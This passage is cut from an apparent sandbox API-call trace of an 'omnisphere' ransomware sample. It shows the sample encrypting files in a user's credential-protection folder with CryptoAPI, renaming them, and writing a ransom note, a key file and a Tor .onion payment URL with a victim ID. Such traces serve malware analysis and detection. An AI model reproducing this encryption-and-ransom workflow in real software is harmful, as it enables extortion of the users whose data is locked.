pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptDestroyKey (hKey=0x16394e8) returned 1 [0117.042] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0117.042] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0117.042] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0117.044] GetProcessHeap () returned 0x1600000 [0117.044] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x328) returned 0x1694990 [0117.044] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere")) returned 1 [0117.050] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere.id" [0117.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0117.052] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0117.053] CloseHandle (hObject=0x3c0) returned 1 [0117.101] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.101] CloseHandle (hObject=0x288) returned 1 [0117.101] SetEndOfFile (hFile=0x28c) returned 1 [0117.102] FlushFileBuffers (hFile=0x28c) returned 1 [0117.118] CloseHandle (hObject=0x28c) returned 1 [0117.119] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0117.119] GetProcessHeap () returned 0x1600000 [0117.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1694cc0 [0117.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.119] GetProcessHeap () returned 0x1600000 [0117.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693c88 [0117.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693c88, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.119] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.119] GetProcessHeap () returned 0x1600000 [0117.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687528 [0117.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687528, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.119] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.119] GetProcessHeap () returned 0x1600000 [0117.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x1649ab0 [0117.119] PathCombineW (in: pszDest=0x1649ab0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0117.119] GetProcessHeap () returned 0x1600000 [0117.120] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168cf18 [0117.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.120] WriteFile (in: hFile=0x28c, lpBuffer=0x168cf18*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168cf18*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0117.120] CloseHandle (hObject=0x28c) returned 1 [0117.120] GetProcessHeap () returned 0x1600000 [0117.120] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1694cc0 | out: hHeap=0x1600000) returned 1 [0117.121] GetProcessHeap () returned 0x1600000 [0117.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x1688cf0 [0117.121] PathCombineW (in: pszDest=0x1688cf0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0117.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.121] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0117.121] CloseHandle (hObject=0x28c) returned 1 [0117.121] GetProcessHeap () returned 0x1600000 [0117.121] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1688cf0 | out: hHeap=0x1600000) returned 1 [0117.121] GetProcessHeap () returned 0x1600000 [0117.122] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0117.122] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1383bcc, ftCreationTime.dwHighDateTime=0x1d41dc4, ftLastAccessTime.dwLowDateTime=0x1383bcc, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x2bbe719f, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ddbd6a25-732f-4175-9949-5cdf51e0bd09", cAlternateFileName="DDBD6A~1")) returned 1 [0117.122] GetProcessHeap () returned 0x1600000 [0117.122] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x118) returned 0x160e0d8 [0117.122] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="ddbd6a25-732f-4175-9949-5cdf51e0bd09" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09" [0117.122] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0117.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.123] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=468) returned 1 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.123] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] GetTickCount () returned 0x115d473 [0117.124] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0117.125] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639568) returned 1 [0117.125] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0117.125] CryptDestroyKey (hKey=0x1639568) returned 1 [0117.125] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0117.125] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4, lpName=0x0) returned 0x288 [0117.125] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4) returned 0x1480000 [0117.126] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0117.126] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0117.126] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0117.126] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0117.126] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.126] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.127] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.128] CryptDestroyKey (hKey=0x1639b68) returned 1 [0117.128] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0117.128] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0117.128] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0117.130] GetProcessHeap () returned 0x1600000 [0117.130] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x328) returned 0x1694cc0 [0117.130] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere")) returned 1 [0117.132] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere", lpString2=".id" | out: 